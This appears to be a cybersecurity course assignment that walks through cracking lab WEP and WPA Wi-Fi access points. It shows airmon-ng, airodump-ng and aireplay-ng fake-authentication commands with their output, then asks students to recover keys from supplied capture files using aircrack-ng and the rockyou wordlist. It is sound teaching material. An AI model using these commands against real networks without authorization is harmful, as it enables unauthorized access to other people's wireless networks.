# **Week 11 Assignment**

In Class, we cracked two Wifi access points, one using WEP encryption and the other using WPA.

# Part 1: WEP

### **Background**

First, we set our wifi adapter to monitor mode using the airmon-ng command:

```
airmon-ng start wlan0
```

```
PHY Interface Driver Chipset
```

phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187

Next, we located our WEP encrypted wifi access point:

airodump-ng wlan0mon

```
CH 6 ][ Elapsed: 12 s ][ 2019-11-18 15:53
```

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0F:66:9E:16:46 -23 14 0 0 6 54 WEP WEP WEP

Then we captured packets seen from the WEP wifi access point using the associated BSSID

```
airodump-ng -c 6 --bssid 00:0F:66:9E:16:46 -w WEP wlan0mon
```

```
CH 6 ][ Elapsed: 1 min ][ 2019-11-18 16:51

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0F:66:9E:16:46 -26 100 613 147 0 6 54 WEP WEP WEP

BSSID STATION PWR Rate Lost Frames Probe

00:0F:66:9E:16:46 78:4B:87:F8:D0:45 -33 54 -11 0 16
```

#### We sent a fake authentication request:

```
aireplay-ng -1 0 -e WEP -a 00:0F:66:9E:16:46 -h 0e:ed:83:a9:84:45 wlan0mon

17:21:05 Waiting for beacon frame (BSSID: 00:0F:66:9E:16:46) on channel 6

17:21:05 Sending Authentication Request (Open System) [ACK]
17:21:05 Authentication successful
17:21:05 Sending Association Request [ACK]
17:21:05 Association successful :-) (AID: 1)
```

Finally, we cracked the  $\fbox{WEP}$  key using the  $\fbox{aircrack-ng}$  command.



Your task is to examine the WEP.cap file and crack the WEP key.

Download the WEP.cap file. You can do this in your kali VM using the following command:

wget https://raw.githubusercontent.com/kkatayama/cyber\_topics/master/WEP.cap

Now use aircrack-ng or any tool of your choice to recover the WEP key.

#### Hints:

aircrack-ng --help will list the flag options available to use with the aircrack-ng command. You may not need to use any flags to crack the WEP key.

1. What is the WEP key?

2. Paste the command you used to crack the WEP key.

3. Attach a screenshot showing the output of the command you used to crack the WEP key.

# Part 2: WPA

# **Background**

First, we set our wifi adapter to monitor mode using the airmon-ng command:

```
airmon-ng start wlan0
```

```
PHY Interface Driver Chipset
```

phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187

Next, we located our WPA encrypted wifi access point:

airodump-ng wlan0mon

```
CH 6 ][ Elapsed: 12 s ][ 2019-11-18 15:53
```

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:18:39:EC:F4:D8 -23 9 0 0 6 54 WPA TKIP PSK WPA

Then we captured Handshake packets seen from the WPA wifi access point using the associated BSSID

airodump-ng -c 6 --bssid 00:18:39:EC:F4:D8 -w WPA wlan0mon

```
CH 6 ][ Elapsed: 1 min ][ 2019-11-18 16:51
               PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
BSSID
00:18:39:EC:F4:D8 -26 100
                          613
                                 147 0
                                           6 54
                                                 WPA TKIP
                                                           PSK WPA
BSSID
               STATION
                               PWR
                                    Rate
                                          Lost
                                                 Frames Probe
                                              0
00:18:39:EC:F4:D8 78:4B:87:F8:D0:45 -33
                                    54 -11
                                                    16
```

Finally, we cracked the WEP key using the aircrack-ng command.

## **Assignment**

Your task is to examine the WPA.cap file and crack the WPA key.

Download the WPA.cap file. You can do this in your kali VM using the following command:

wget https://raw.githubusercontent.com/kkatayama/cyber\_topics/master/WPA.cap

You should use a wordlist to help with cracking the WPA key. Your kali VM comes with the rockyou.txt wordlist and can be obtained using the following commands:

cp /usr/share/wordlists/rockyou.txt.gz rockyou.txt
gunzip rockyou.txt.gz

Now use aircrack-ng or any tool of your choice to recover the WPA key.

#### Hints:

aircrack-ng --help will list the flag options available to use with the aircrack-ng command. You should use the rockyou.txt wordlist in you command (there may be a flag for using wordlists).

1. What is the WPA key?

2. Paste the command you used to crack the WPA key.

3. Attach a screenshot showing the output of the command you used to crack the WPA key.